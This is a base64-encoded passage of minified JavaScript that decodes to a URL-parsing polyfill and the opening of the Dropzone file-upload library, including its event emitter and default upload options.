ksZS5xdWVyeT1pLnF1ZXJ5LGUuZnJhZ21lbnQ9IiIsZS5jYW5ub3RCZUFCYXNlVVJMPSEwLGM9a2U7YnJlYWt9Yz0iZmlsZSI9PWkuc2NoZW1lP3llOnNlO2NvbnRpbnVlO2Nhc2UgYWU6aWYoIi8iIT1hfHwiLyIhPW9bcCsxXSl7Yz1zZTtjb250aW51ZX1jPWZlLHArKzticmVhaztjYXNlIHVlOmlmKCIvIj09YSl7Yz1wZTticmVha31jPXhlO2NvbnRpbnVlO2Nhc2Ugc2U6aWYoZS5zY2hlbWU9aS5zY2hlbWUsYT09cillLnVzZXJuYW1lPWkudXNlcm5hbWUsZS5wYXNzd29yZD1pLnBhc3N3b3JkLGUuaG9zdD1pLmhvc3QsZS5wb3J0PWkucG9ydCxlLnBhdGg9aS5wYXRoLnNsaWNlKCksZS5xdWVyeT1pLnF1ZXJ5O2Vsc2UgaWYoIi8iPT1hfHwiXFwiPT1hJiZYKGUpKWM9bGU7ZWxzZSBpZigiPyI9PWEpZS51c2VybmFtZT1pLnVzZXJuYW1lLGUucGFzc3dvcmQ9aS5wYXNzd29yZCxlLmhvc3Q9aS5ob3N0LGUucG9ydD1pLnBvcnQsZS5wYXRoPWkucGF0aC5zbGljZSgpLGUucXVlcnk9IiIsYz1FZTtlbHNle2lmKCIjIiE9YSl7ZS51c2VybmFtZT1pLnVzZXJuYW1lLGUucGFzc3dvcmQ9aS5wYXNzd29yZCxlLmhvc3Q9aS5ob3N0LGUucG9ydD1pLnBvcnQsZS5wYXRoPWkucGF0aC5zbGljZSgpLGUucGF0aC5wb3AoKSxjPXhlO2NvbnRpbnVlfWUudXNlcm5hbWU9aS51c2VybmFtZSxlLnBhc3N3b3JkPWkucGFzc3dvcmQsZS5ob3N0PWkuaG9zdCxlLnBvcnQ9aS5wb3J0LGUucGF0aD1pLnBhdGguc2xpY2UoKSxlLnF1ZXJ5PWkucXVlcnksZS5mcmFnbWVudD0iIixjPWtlfWJyZWFrO2Nhc2UgbGU6aWYoIVgoZSl8fCIvIiE9YSYmIlxcIiE9YSl7aWYoIi8iIT1hKXtlLnVzZXJuYW1lPWkudXNlcm5hbWUsZS5wYXNzd29yZD1pLnBhc3N3b3JkLGUuaG9zdD1pLmhvc3QsZS5wb3J0PWkucG9ydCxjPXhlO2NvbnRpbnVlfWM9cGV9ZWxzZSBjPWZlO2JyZWFrO2Nhc2UgY2U6aWYoYz1mZSwiLyIhPWF8fCIvIiE9ZC5jaGFyQXQocCsxKSljb250aW51ZTtwKys7YnJlYWs7Y2FzZSBmZTppZigiLyIhPWEmJiJcXCIhPWEpe2M9cGU7Y29udGludWV9YnJlYWs7Y2FzZSBwZTppZigiQCI9PWEpe3YmJihkPSIlNDAiK2QpLHY9ITAsdT1oKGQpO2Zvcih2YXIgbT0wO208dS5sZW5ndGg7bSsrKXt2YXIgYj11W21dO2lmKCI6IiE9Ynx8Zyl7dmFyIHg9JChiLFEpO2c/ZS5wYXNzd29yZCs9eDplLnVzZXJuYW1lKz14fWVsc2UgZz0hMH1kPSIifWVsc2UgaWYoYT09cnx8Ii8iPT1hfHwiPyI9PWF8fCIjIj09YXx8IlxcIj09YSYmWChlKSl7aWYodiYmIiI9PWQpcmV0dXJuIkludmFsaWQgYXV0aG9yaXR5IjtwLT1oKGQpLmxlbmd0aCsxLGQ9IiIsYz1oZX1lbHNlIGQrPWE7YnJlYWs7Y2FzZSBoZTpjYXNlIGRlOmlmKG4mJiJmaWxlIj09ZS5zY2hlbWUpe2M9bWU7Y29udGludWV9aWYoIjoiIT1hfHx5KXtpZihhPT1yfHwiLyI9PWF8fCI/Ij09YXx8IiMiPT1hfHwiXFwiPT1hJiZYKGUpKXtpZihYKGUpJiYiIj09ZClyZXR1cm4gVDtpZihuJiYiIj09ZCYmKEsoZSl8fG51bGwhPT1lLnBvcnQpKXJldHVybjtpZihzPU4oZSxkKSlyZXR1cm4gcztpZihkPSIiLGM9YmUsbilyZXR1cm47Y29udGludWV9IlsiPT1hP3k9ITA6Il0iPT1hJiYoeT0hMSksZCs9YX1lbHNle2lmKCIiPT1kKXJldHVybiBUO2lmKHM9TihlLGQpKXJldHVybiBzO2lmKGQ9IiIsYz12ZSxuPT1kZSlyZXR1cm59YnJlYWs7Y2FzZSB2ZTppZighSS50ZXN0KGEpKXtpZihhPT1yfHwiLyI9PWF8fCI/Ij09YXx8IiMiPT1hfHwiXFwiPT1hJiZYKGUpfHxuKXtpZigiIiE9ZCl7dmFyIHc9cGFyc2VJbnQoZCwxMCk7aWYodz42NTUzNSlyZXR1cm4gQztlLnBvcnQ9WChlKSYmdz09PVZbZS5zY2hlbWVdP251bGw6dyxkPSIifWlmKG4pcmV0dXJuO2M9YmU7Y29udGludWV9cmV0dXJuIEN9ZCs9YTticmVhaztjYXNlIHllOmlmKGUuc2NoZW1lPSJmaWxlIiwiLyI9PWF8fCJcXCI9PWEpYz1nZTtlbHNle2lmKCFpfHwiZmlsZSIhPWkuc2NoZW1lKXtjPXhlO2NvbnRpbnVlfWlmKGE9PXIpZS5ob3N0PWkuaG9zdCxlLnBhdGg9aS5wYXRoLnNsaWNlKCksZS5xdWVyeT1pLnF1ZXJ5O2Vsc2UgaWYoIj8iPT1hKWUuaG9zdD1pLmhvc3QsZS5wYXRoPWkucGF0aC5zbGljZSgpLGUucXVlcnk9IiIsYz1FZTtlbHNle2lmKCIjIiE9YSl7ZWUoby5zbGljZShwKS5qb2luKCIiKSl8fChlLmhvc3Q9aS5ob3N0LGUucGF0aD1pLnBhdGguc2xpY2UoKSx0ZShlKSksYz14ZTtjb250aW51ZX1lLmhvc3Q9aS5ob3N0LGUucGF0aD1pLnBhdGguc2xpY2UoKSxlLnF1ZXJ5PWkucXVlcnksZS5mcmFnbWVudD0iIixjPWtlfX1icmVhaztjYXNlIGdlOmlmKCIvIj09YXx8IlxcIj09YSl7Yz1tZTticmVha31pJiYiZmlsZSI9PWkuc2NoZW1lJiYhZWUoby5zbGljZShwKS5qb2luKCIiKSkmJihKKGkucGF0aFswXSwhMCk/ZS5wYXRoLnB1c2goaS5wYXRoWzBdKTplLmhvc3Q9aS5ob3N0KSxjPXhlO2NvbnRpbnVlO2Nhc2UgbWU6aWYoYT09cnx8Ii8iPT1hfHwiXFwiPT1hfHwiPyI9PWF8fCIjIj09YSl7aWYoIW4mJkooZCkpYz14ZTtlbHNlIGlmKCIiPT1kKXtpZihlLmhvc3Q9IiIsbilyZXR1cm47Yz1iZX1lbHNle2lmKHM9TihlLGQpKXJldHVybiBzO2lmKCJsb2NhbGhvc3QiPT1lLmhvc3QmJihlLmhvc3Q9IiIpLG4pcmV0dXJuO2Q9IiIsYz1iZX1jb250aW51ZX1kKz1hO2JyZWFrO2Nhc2UgYmU6aWYoWChlKSl7aWYoYz14ZSwiLyIhPWEmJiJcXCIhPWEpY29udGludWV9ZWxzZSBpZihufHwiPyIhPWEpaWYobnx8IiMiIT1hKXtpZihhIT1yJiYoYz14ZSwiLyIhPWEpKWNvbnRpbnVlfWVsc2UgZS5mcmFnbWVudD0iIixjPWtlO2Vsc2UgZS5xdWVyeT0iIixjPUVlO2JyZWFrO2Nhc2UgeGU6aWYoYT09cnx8Ii8iPT1hfHwiXFwiPT1hJiZYKGUpfHwhbiYmKCI/Ij09YXx8IiMiPT1hKSl7aWYoIi4uIj09PShsPShsPWQpLnRvTG93ZXJDYXNlKCkpfHwiJTJlLiI9PT1sfHwiLiUyZSI9PT1sfHwiJTJlJTJlIj09PWw/KHRlKGUpLCIvIj09YXx8IlxcIj09YSYmWChlKXx8ZS5wYXRoLnB1c2goIiIpKTpuZShkKT8iLyI9PWF8fCJcXCI9PWEmJlgoZSl8fGUucGF0aC5wdXNoKCIiKTooImZpbGUiPT1lLnNjaGVtZSYmIWUucGF0aC5sZW5ndGgmJkooZCkmJihlLmhvc3QmJihlLmhvc3Q9IiIpLGQ9ZC5jaGFyQXQoMCkrIjoiKSxlLnBhdGgucHVzaChkKSksZD0iIiwiZmlsZSI9PWUuc2NoZW1lJiYoYT09cnx8Ij8iPT1hfHwiIyI9PWEpKWZvcig7ZS5wYXRoLmxlbmd0aD4xJiYiIj09PWUucGF0aFswXTspZS5wYXRoLnNoaWZ0KCk7Ij8iPT1hPyhlLnF1ZXJ5PSIiLGM9RWUpOiIjIj09YSYmKGUuZnJhZ21lbnQ9IiIsYz1rZSl9ZWxzZSBkKz0kKGEsRyk7YnJlYWs7Y2FzZSB3ZToiPyI9PWE/KGUucXVlcnk9IiIsYz1FZSk6IiMiPT1hPyhlLmZyYWdtZW50PSIiLGM9a2UpOmEhPXImJihlLnBhdGhbMF0rPSQoYSxIKSk7YnJlYWs7Y2FzZSBFZTpufHwiIyIhPWE/YSE9ciYmKCInIj09YSYmWChlKT9lLnF1ZXJ5Kz0iJTI3IjplLnF1ZXJ5Kz0iIyI9PWE/IiUyMyI6JChhLEgpKTooZS5mcmFnbWVudD0iIixjPWtlKTticmVhaztjYXNlIGtlOmEhPXImJihlLmZyYWdtZW50Kz0kKGEsWSkpfXArK319LFNlPWZ1bmN0aW9uKGUpe3ZhciB0LG4scj1jKHRoaXMsU2UsIlVSTCIpLGk9YXJndW1lbnRzLmxlbmd0aD4xP2FyZ3VtZW50c1sxXTp2b2lkIDAsYT1TdHJpbmcoZSksdT1FKHIse3R5cGU6IlVSTCJ9KTtpZih2b2lkIDAhPT1pKWlmKGkgaW5zdGFuY2VvZiBTZSl0PWsoaSk7ZWxzZSBpZihuPUFlKHQ9e30sU3RyaW5nKGkpKSl0aHJvdyBUeXBlRXJyb3Iobik7aWYobj1BZSh1LGEsbnVsbCx0KSl0aHJvdyBUeXBlRXJyb3Iobik7dmFyIHM9dS5zZWFyY2hQYXJhbXM9bmV3IHgsbD13KHMpO2wudXBkYXRlU2VhcmNoUGFyYW1zKHUucXVlcnkpLGwudXBkYXRlVVJMPWZ1bmN0aW9uKCl7dS5xdWVyeT1TdHJpbmcocyl8fG51bGx9LG98fChyLmhyZWY9VGUuY2FsbChyKSxyLm9yaWdpbj1DZS5jYWxsKHIpLHIucHJvdG9jb2w9TGUuY2FsbChyKSxyLnVzZXJuYW1lPVJlLmNhbGwociksci5wYXNzd29yZD1JZS5jYWxsKHIpLHIuaG9zdD1VZS5jYWxsKHIpLHIuaG9zdG5hbWU9T2UuY2FsbChyKSxyLnBvcnQ9X2UuY2FsbChyKSxyLnBhdGhuYW1lPU1lLmNhbGwociksci5zZWFyY2g9emUuY2FsbChyKSxyLnNlYXJjaFBhcmFtcz1QZS5jYWxsKHIpLHIuaGFzaD1qZS5jYWxsKHIpKX0sRmU9U2UucHJvdG90eXBlLFRlPWZ1bmN0aW9uKCl7dmFyIGU9ayh0aGlzKSx0PWUuc2NoZW1lLG49ZS51c2VybmFtZSxyPWUucGFzc3dvcmQsaT1lLmhvc3Qsbz1lLnBvcnQsYT1lLnBhdGgsdT1lLnF1ZXJ5LHM9ZS5mcmFnbWVudCxsPXQrIjoiO3JldHVybiBudWxsIT09aT8obCs9Ii8vIixLKGUpJiYobCs9bisocj8iOiIrcjoiIikrIkAiKSxsKz1XKGkpLG51bGwhPT1vJiYobCs9IjoiK28pKToiZmlsZSI9PXQmJihsKz0iLy8iKSxsKz1lLmNhbm5vdEJlQUJhc2VVUkw/YVswXTphLmxlbmd0aD8iLyIrYS5qb2luKCIvIik6IiIsbnVsbCE9PXUmJihsKz0iPyIrdSksbnVsbCE9PXMmJihsKz0iIyIrcyksbH0sQ2U9ZnVuY3Rpb24oKXt2YXIgZT1rKHRoaXMpLHQ9ZS5zY2hlbWUsbj1lLnBvcnQ7aWYoImJsb2IiPT10KXRyeXtyZXR1cm4gbmV3IFVSTCh0LnBhdGhbMF0pLm9yaWdpbn1jYXRjaChlKXtyZXR1cm4ibnVsbCJ9cmV0dXJuImZpbGUiIT10JiZYKGUpP3QrIjovLyIrVyhlLmhvc3QpKyhudWxsIT09bj8iOiIrbjoiIik6Im51bGwifSxMZT1mdW5jdGlvbigpe3JldHVybiBrKHRoaXMpLnNjaGVtZSsiOiJ9LFJlPWZ1bmN0aW9uKCl7cmV0dXJuIGsodGhpcykudXNlcm5hbWV9LEllPWZ1bmN0aW9uKCl7cmV0dXJuIGsodGhpcykucGFzc3dvcmR9LFVlPWZ1bmN0aW9uKCl7dmFyIGU9ayh0aGlzKSx0PWUuaG9zdCxuPWUucG9ydDtyZXR1cm4gbnVsbD09PXQ/IiI6bnVsbD09PW4/Vyh0KTpXKHQpKyI6IitufSxPZT1mdW5jdGlvbigpe3ZhciBlPWsodGhpcykuaG9zdDtyZXR1cm4gbnVsbD09PWU/IiI6VyhlKX0sX2U9ZnVuY3Rpb24oKXt2YXIgZT1rKHRoaXMpLnBvcnQ7cmV0dXJuIG51bGw9PT1lPyIiOlN0cmluZyhlKX0sTWU9ZnVuY3Rpb24oKXt2YXIgZT1rKHRoaXMpLHQ9ZS5wYXRoO3JldHVybiBlLmNhbm5vdEJlQUJhc2VVUkw/dFswXTp0Lmxlbmd0aD8iLyIrdC5qb2luKCIvIik6IiJ9LHplPWZ1bmN0aW9uKCl7dmFyIGU9ayh0aGlzKS5xdWVyeTtyZXR1cm4gZT8iPyIrZToiIn0sUGU9ZnVuY3Rpb24oKXtyZXR1cm4gayh0aGlzKS5zZWFyY2hQYXJhbXN9LGplPWZ1bmN0aW9uKCl7dmFyIGU9ayh0aGlzKS5mcmFnbWVudDtyZXR1cm4gZT8iIyIrZToiIn0sRGU9ZnVuY3Rpb24oZSx0KXtyZXR1cm57Z2V0OmUsc2V0OnQsY29uZmlndXJhYmxlOiEwLGVudW1lcmFibGU6ITB9fTtpZihvJiZzKEZlLHtocmVmOkRlKFRlLChmdW5jdGlvbihlKXt2YXIgdD1rKHRoaXMpLG49U3RyaW5nKGUpLHI9QWUodCxuKTtpZihyKXRocm93IFR5cGVFcnJvcihyKTt3KHQuc2VhcmNoUGFyYW1zKS51cGRhdGVTZWFyY2hQYXJhbXModC5xdWVyeSl9KSksb3JpZ2luOkRlKENlKSxwcm90b2NvbDpEZShMZSwoZnVuY3Rpb24oZSl7dmFyIHQ9ayh0aGlzKTtBZSh0LFN0cmluZyhlKSsiOiIscmUpfSkpLHVzZXJuYW1lOkRlKFJlLChmdW5jdGlvbihlKXt2YXIgdD1rKHRoaXMpLG49aChTdHJpbmcoZSkpO2lmKCFaKHQpKXt0LnVzZXJuYW1lPSIiO2Zvcih2YXIgcj0wO3I8bi5sZW5ndGg7cisrKXQudXNlcm5hbWUrPSQobltyXSxRKX19KSkscGFzc3dvcmQ6RGUoSWUsKGZ1bmN0aW9uKGUpe3ZhciB0PWsodGhpcyksbj1oKFN0cmluZyhlKSk7aWYoIVoodCkpe3QucGFzc3dvcmQ9IiI7Zm9yKHZhciByPTA7cjxuLmxlbmd0aDtyKyspdC5wYXNzd29yZCs9JChuW3JdLFEpfX0pKSxob3N0OkRlKFVlLChmdW5jdGlvbihlKXt2YXIgdD1rKHRoaXMpO3QuY2Fubm90QmVBQmFzZVVSTHx8QWUodCxTdHJpbmcoZSksaGUpfSkpLGhvc3RuYW1lOkRlKE9lLChmdW5jdGlvbihlKXt2YXIgdD1rKHRoaXMpO3QuY2Fubm90QmVBQmFzZVVSTHx8QWUodCxTdHJpbmcoZSksZGUpfSkpLHBvcnQ6RGUoX2UsKGZ1bmN0aW9uKGUpe3ZhciB0PWsodGhpcyk7Wih0KXx8KCIiPT0oZT1TdHJpbmcoZSkpP3QucG9ydD1udWxsOkFlKHQsZSx2ZSkpfSkpLHBhdGhuYW1lOkRlKE1lLChmdW5jdGlvbihlKXt2YXIgdD1rKHRoaXMpO3QuY2Fubm90QmVBQmFzZVVSTHx8KHQucGF0aD1bXSxBZSh0LGUrIiIsYmUpKX0pKSxzZWFyY2g6RGUoemUsKGZ1bmN0aW9uKGUpe3ZhciB0PWsodGhpcyk7IiI9PShlPVN0cmluZyhlKSk/dC5xdWVyeT1udWxsOigiPyI9PWUuY2hhckF0KDApJiYoZT1lLnNsaWNlKDEpKSx0LnF1ZXJ5PSIiLEFlKHQsZSxFZSkpLHcodC5zZWFyY2hQYXJhbXMpLnVwZGF0ZVNlYXJjaFBhcmFtcyh0LnF1ZXJ5KX0pKSxzZWFyY2hQYXJhbXM6RGUoUGUpLGhhc2g6RGUoamUsKGZ1bmN0aW9uKGUpe3ZhciB0PWsodGhpcyk7IiIhPShlPVN0cmluZyhlKSk/KCIjIj09ZS5jaGFyQXQoMCkmJihlPWUuc2xpY2UoMSkpLHQuZnJhZ21lbnQ9IiIsQWUodCxlLGtlKSk6dC5mcmFnbWVudD1udWxsfSkpfSksbChGZSwidG9KU09OIiwoZnVuY3Rpb24oKXtyZXR1cm4gVGUuY2FsbCh0aGlzKX0pLHtlbnVtZXJhYmxlOiEwfSksbChGZSwidG9TdHJpbmciLChmdW5jdGlvbigpe3JldHVybiBUZS5jYWxsKHRoaXMpfSkse2VudW1lcmFibGU6ITB9KSxiKXt2YXIgTmU9Yi5jcmVhdGVPYmplY3RVUkwsQmU9Yi5yZXZva2VPYmplY3RVUkw7TmUmJmwoU2UsImNyZWF0ZU9iamVjdFVSTCIsKGZ1bmN0aW9uKGUpe3JldHVybiBOZS5hcHBseShiLGFyZ3VtZW50cyl9KSksQmUmJmwoU2UsInJldm9rZU9iamVjdFVSTCIsKGZ1bmN0aW9uKGUpe3JldHVybiBCZS5hcHBseShiLGFyZ3VtZW50cyl9KSl9eShTZSwiVVJMIiksaSh7Z2xvYmFsOiEwLGZvcmNlZDohYSxzaGFtOiFvfSx7VVJMOlNlfSl9fSx0PXt9O2Z1bmN0aW9uIG4ocil7aWYodFtyXSlyZXR1cm4gdFtyXS5leHBvcnRzO3ZhciBpPXRbcl09e2V4cG9ydHM6e319O3JldHVybiBlW3JdKGksaS5leHBvcnRzLG4pLGkuZXhwb3J0c31uLmQ9ZnVuY3Rpb24oZSx0KXtmb3IodmFyIHIgaW4gdCluLm8odCxyKSYmIW4ubyhlLHIpJiZPYmplY3QuZGVmaW5lUHJvcGVydHkoZSxyLHtlbnVtZXJhYmxlOiEwLGdldDp0W3JdfSl9LG4uZz1mdW5jdGlvbigpe2lmKCJvYmplY3QiPT10eXBlb2YgZ2xvYmFsVGhpcylyZXR1cm4gZ2xvYmFsVGhpczt0cnl7cmV0dXJuIHRoaXN8fG5ldyBGdW5jdGlvbigicmV0dXJuIHRoaXMiKSgpfWNhdGNoKGUpe2lmKCJvYmplY3QiPT10eXBlb2Ygd2luZG93KXJldHVybiB3aW5kb3d9fSgpLG4ubz1mdW5jdGlvbihlLHQpe3JldHVybiBPYmplY3QucHJvdG90eXBlLmhhc093blByb3BlcnR5LmNhbGwoZSx0KX0sbi5yPWZ1bmN0aW9uKGUpeyJ1bmRlZmluZWQiIT10eXBlb2YgU3ltYm9sJiZTeW1ib2wudG9TdHJpbmdUYWcmJk9iamVjdC5kZWZpbmVQcm9wZXJ0eShlLFN5bWJvbC50b1N0cmluZ1RhZyx7dmFsdWU6Ik1vZHVsZSJ9KSxPYmplY3QuZGVmaW5lUHJvcGVydHkoZSwiX19lc01vZHVsZSIse3ZhbHVlOiEwfSl9O3ZhciByPXt9O3JldHVybiBmdW5jdGlvbigpeyJ1c2Ugc3RyaWN0IjtmdW5jdGlvbiBlKGUsbil7dmFyIHI7aWYoInVuZGVmaW5lZCI9PXR5cGVvZiBTeW1ib2x8fG51bGw9PWVbU3ltYm9sLml0ZXJhdG9yXSl7aWYoQXJyYXkuaXNBcnJheShlKXx8KHI9ZnVuY3Rpb24oZSxuKXtpZihlKXtpZigic3RyaW5nIj09dHlwZW9mIGUpcmV0dXJuIHQoZSxuKTt2YXIgcj1PYmplY3QucHJvdG90eXBlLnRvU3RyaW5nLmNhbGwoZSkuc2xpY2UoOCwtMSk7cmV0dXJuIk9iamVjdCI9PT1yJiZlLmNvbnN0cnVjdG9yJiYocj1lLmNvbnN0cnVjdG9yLm5hbWUpLCJNYXAiPT09cnx8IlNldCI9PT1yP0FycmF5LmZyb20oZSk6IkFyZ3VtZW50cyI9PT1yfHwvXig/OlVpfEkpbnQoPzo4fDE2fDMyKSg/OkNsYW1wZWQpP0FycmF5JC8udGVzdChyKT90KGUsbik6dm9pZCAwfX0oZSkpfHxuJiZlJiYibnVtYmVyIj09dHlwZW9mIGUubGVuZ3RoKXtyJiYoZT1yKTt2YXIgaT0wLG89ZnVuY3Rpb24oKXt9O3JldHVybntzOm8sbjpmdW5jdGlvbigpe3JldHVybiBpPj1lLmxlbmd0aD97ZG9uZTohMH06e2RvbmU6ITEsdmFsdWU6ZVtpKytdfX0sZTpmdW5jdGlvbihlKXt0aHJvdyBlfSxmOm99fXRocm93IG5ldyBUeXBlRXJyb3IoIkludmFsaWQgYXR0ZW1wdCB0byBpdGVyYXRlIG5vbi1pdGVyYWJsZSBpbnN0YW5jZS5cbkluIG9yZGVyIHRvIGJlIGl0ZXJhYmxlLCBub24tYXJyYXkgb2JqZWN0cyBtdXN0IGhhdmUgYSBbU3ltYm9sLml0ZXJhdG9yXSgpIG1ldGhvZC4iKX12YXIgYSx1PSEwLHM9ITE7cmV0dXJue3M6ZnVuY3Rpb24oKXtyPWVbU3ltYm9sLml0ZXJhdG9yXSgpfSxuOmZ1bmN0aW9uKCl7dmFyIGU9ci5uZXh0KCk7cmV0dXJuIHU9ZS5kb25lLGV9LGU6ZnVuY3Rpb24oZSl7cz0hMCxhPWV9LGY6ZnVuY3Rpb24oKXt0cnl7dXx8bnVsbD09ci5yZXR1cm58fHIucmV0dXJuKCl9ZmluYWxseXtpZihzKXRocm93IGF9fX19ZnVuY3Rpb24gdChlLHQpeyhudWxsPT10fHx0PmUubGVuZ3RoKSYmKHQ9ZS5sZW5ndGgpO2Zvcih2YXIgbj0wLHI9bmV3IEFycmF5KHQpO248dDtuKyspcltuXT1lW25dO3JldHVybiByfWZ1bmN0aW9uIGkoZSx0KXtmb3IodmFyIG49MDtuPHQubGVuZ3RoO24rKyl7dmFyIHI9dFtuXTtyLmVudW1lcmFibGU9ci5lbnVtZXJhYmxlfHwhMSxyLmNvbmZpZ3VyYWJsZT0hMCwidmFsdWUiaW4gciYmKHIud3JpdGFibGU9ITApLE9iamVjdC5kZWZpbmVQcm9wZXJ0eShlLHIua2V5LHIpfX1uLnIociksbi5kKHIse0Ryb3B6b25lOmZ1bmN0aW9uKCl7cmV0dXJuIGJ9LGRlZmF1bHQ6ZnVuY3Rpb24oKXtyZXR1cm4gQX19KSxuKDIyMjIpLG4oNzMyNyksbigyNzcyKSxuKDY5OTIpLG4oMTI0OSksbig3MDQyKSxuKDU2MSksbig4MjY0KSxuKDgzMDkpLG4oNDg5KSxuKDE1MzkpLG4oNDkxNiksbig5NzE0KSxuKDg3ODMpLG4oNDcyMyksbig1MzA2KSxuKDMxMjMpLG4oMzIxMCksbigyNDcyKSxuKDI5OTApLG4oODkyNyksbigzMTA1KSxuKDUwMzUpLG4oNDM0NSksbig3MTc0KSxuKDI4NDYpLG4oNDczMSksbig3MjA5KSxuKDYzMTkpLG4oODg2Nyksbig3Nzg5KSxuKDM3MzkpLG4oOTM2OCksbig0NDgzKSxuKDIwNTYpLG4oMzQ2Miksbig2NzgpLG4oNzQ2MiksbigzODI0KSxuKDUwMjEpLG4oMjk3NCksbig1MDE2KSxuKDQ3NDcpLG4oMzk0OCksbigyODUpO3ZhciBvPWZ1bmN0aW9uKCl7ZnVuY3Rpb24gdCgpeyFmdW5jdGlvbihlLHQpe2lmKCEoZSBpbnN0YW5jZW9mIHQpKXRocm93IG5ldyBUeXBlRXJyb3IoIkNhbm5vdCBjYWxsIGEgY2xhc3MgYXMgYSBmdW5jdGlvbiIpfSh0aGlzLHQpfXZhciBuLHI7cmV0dXJuIG49dCwocj1be2tleToib24iLHZhbHVlOmZ1bmN0aW9uKGUsdCl7cmV0dXJuIHRoaXMuX2NhbGxiYWNrcz10aGlzLl9jYWxsYmFja3N8fHt9LHRoaXMuX2NhbGxiYWNrc1tlXXx8KHRoaXMuX2NhbGxiYWNrc1tlXT1bXSksdGhpcy5fY2FsbGJhY2tzW2VdLnB1c2godCksdGhpc319LHtrZXk6ImVtaXQiLHZhbHVlOmZ1bmN0aW9uKHQpe3RoaXMuX2NhbGxiYWNrcz10aGlzLl9jYWxsYmFja3N8fHt9O2Zvcih2YXIgbj10aGlzLl9jYWxsYmFja3NbdF0scj1hcmd1bWVudHMubGVuZ3RoLGk9bmV3IEFycmF5KHI+MT9yLTE6MCksbz0xO288cjtvKyspaVtvLTFdPWFyZ3VtZW50c1tvXTtpZihuKXt2YXIgYSx1PWUobiwhMCk7dHJ5e2Zvcih1LnMoKTshKGE9dS5uKCkpLmRvbmU7KXt2YXIgcz1hLnZhbHVlO3MuYXBwbHkodGhpcyxpKX19Y2F0Y2goZSl7dS5lKGUpfWZpbmFsbHl7dS5mKCl9fXJldHVybiB0aGlzLmVsZW1lbnQmJnRoaXMuZWxlbWVudC5kaXNwYXRjaEV2ZW50KHRoaXMubWFrZUV2ZW50KCJkcm9wem9uZToiK3Qse2FyZ3M6aX0pKSx0aGlzfX0se2tleToibWFrZUV2ZW50Iix2YWx1ZTpmdW5jdGlvbihlLHQpe3ZhciBuPXtidWJibGVzOiEwLGNhbmNlbGFibGU6ITAsZGV0YWlsOnR9O2lmKCJmdW5jdGlvbiI9PXR5cGVvZiB3aW5kb3cuQ3VzdG9tRXZlbnQpcmV0dXJuIG5ldyBDdXN0b21FdmVudChlLG4pO3ZhciByPWRvY3VtZW50LmNyZWF0ZUV2ZW50KCJDdXN0b21FdmVudCIpO3JldHVybiByLmluaXRDdXN0b21FdmVudChlLG4uYnViYmxlcyxuLmNhbmNlbGFibGUsbi5kZXRhaWwpLHJ9fSx7a2V5OiJvZmYiLHZhbHVlOmZ1bmN0aW9uKGUsdCl7aWYoIXRoaXMuX2NhbGxiYWNrc3x8MD09PWFyZ3VtZW50cy5sZW5ndGgpcmV0dXJuIHRoaXMuX2NhbGxiYWNrcz17fSx0aGlzO3ZhciBuPXRoaXMuX2NhbGxiYWNrc1tlXTtpZighbilyZXR1cm4gdGhpcztpZigxPT09YXJndW1lbnRzLmxlbmd0aClyZXR1cm4gZGVsZXRlIHRoaXMuX2NhbGxiYWNrc1tlXSx0aGlzO2Zvcih2YXIgcj0wO3I8bi5sZW5ndGg7cisrKXt2YXIgaT1uW3JdO2lmKGk9PT10KXtuLnNwbGljZShyLDEpO2JyZWFrfX1yZXR1cm4gdGhpc319XSkmJmkobi5wcm90b3R5cGUsciksdH0oKTtmdW5jdGlvbiBhKGUsdCl7dmFyIG47aWYoInVuZGVmaW5lZCI9PXR5cGVvZiBTeW1ib2x8fG51bGw9PWVbU3ltYm9sLml0ZXJhdG9yXSl7aWYoQXJyYXkuaXNBcnJheShlKXx8KG49ZnVuY3Rpb24oZSx0KXtpZihlKXtpZigic3RyaW5nIj09dHlwZW9mIGUpcmV0dXJuIHUoZSx0KTt2YXIgbj1PYmplY3QucHJvdG90eXBlLnRvU3RyaW5nLmNhbGwoZSkuc2xpY2UoOCwtMSk7cmV0dXJuIk9iamVjdCI9PT1uJiZlLmNvbnN0cnVjdG9yJiYobj1lLmNvbnN0cnVjdG9yLm5hbWUpLCJNYXAiPT09bnx8IlNldCI9PT1uP0FycmF5LmZyb20oZSk6IkFyZ3VtZW50cyI9PT1ufHwvXig/OlVpfEkpbnQoPzo4fDE2fDMyKSg/OkNsYW1wZWQpP0FycmF5JC8udGVzdChuKT91KGUsdCk6dm9pZCAwfX0oZSkpfHx0JiZlJiYibnVtYmVyIj09dHlwZW9mIGUubGVuZ3RoKXtuJiYoZT1uKTt2YXIgcj0wLGk9ZnVuY3Rpb24oKXt9O3JldHVybntzOmksbjpmdW5jdGlvbigpe3JldHVybiByPj1lLmxlbmd0aD97ZG9uZTohMH06e2RvbmU6ITEsdmFsdWU6ZVtyKytdfX0sZTpmdW5jdGlvbihlKXt0aHJvdyBlfSxmOml9fXRocm93IG5ldyBUeXBlRXJyb3IoIkludmFsaWQgYXR0ZW1wdCB0byBpdGVyYXRlIG5vbi1pdGVyYWJsZSBpbnN0YW5jZS5cbkluIG9yZGVyIHRvIGJlIGl0ZXJhYmxlLCBub24tYXJyYXkgb2JqZWN0cyBtdXN0IGhhdmUgYSBbU3ltYm9sLml0ZXJhdG9yXSgpIG1ldGhvZC4iKX12YXIgbyxhPSEwLHM9ITE7cmV0dXJue3M6ZnVuY3Rpb24oKXtuPWVbU3ltYm9sLml0ZXJhdG9yXSgpfSxuOmZ1bmN0aW9uKCl7dmFyIGU9bi5uZXh0KCk7cmV0dXJuIGE9ZS5kb25lLGV9LGU6ZnVuY3Rpb24oZSl7cz0hMCxvPWV9LGY6ZnVuY3Rpb24oKXt0cnl7YXx8bnVsbD09bi5yZXR1cm58fG4ucmV0dXJuKCl9ZmluYWxseXtpZihzKXRocm93IG99fX19ZnVuY3Rpb24gdShlLHQpeyhudWxsPT10fHx0PmUubGVuZ3RoKSYmKHQ9ZS5sZW5ndGgpO2Zvcih2YXIgbj0wLHI9bmV3IEFycmF5KHQpO248dDtuKyspcltuXT1lW25dO3JldHVybiByfXZhciBzPXt1cmw6bnVsbCxtZXRob2Q6InBvc3QiLHdpdGhDcmVkZW50aWFsczohMSx0aW1lb3V0Om51bGwscGFyYWxsZWxVcGxvYWRzOjIsdXBsb2FkTXVsdGlwbGU6ITEsY2h1bmtpbmc6ITEsZm9yY2VDaHVua2luZzohMSxjaHVua1NpemU6MmU2LHBhcmFsbGVsQ2h1bmtVcGxvYWRzOiExLHJldHJ5Q2h1bmtzOiExLHJldHJ5Q2h1bmtzTGltaXQ6MyxtYXhGaWxlc2l6ZToyNTYscGFyYW1OYW1lO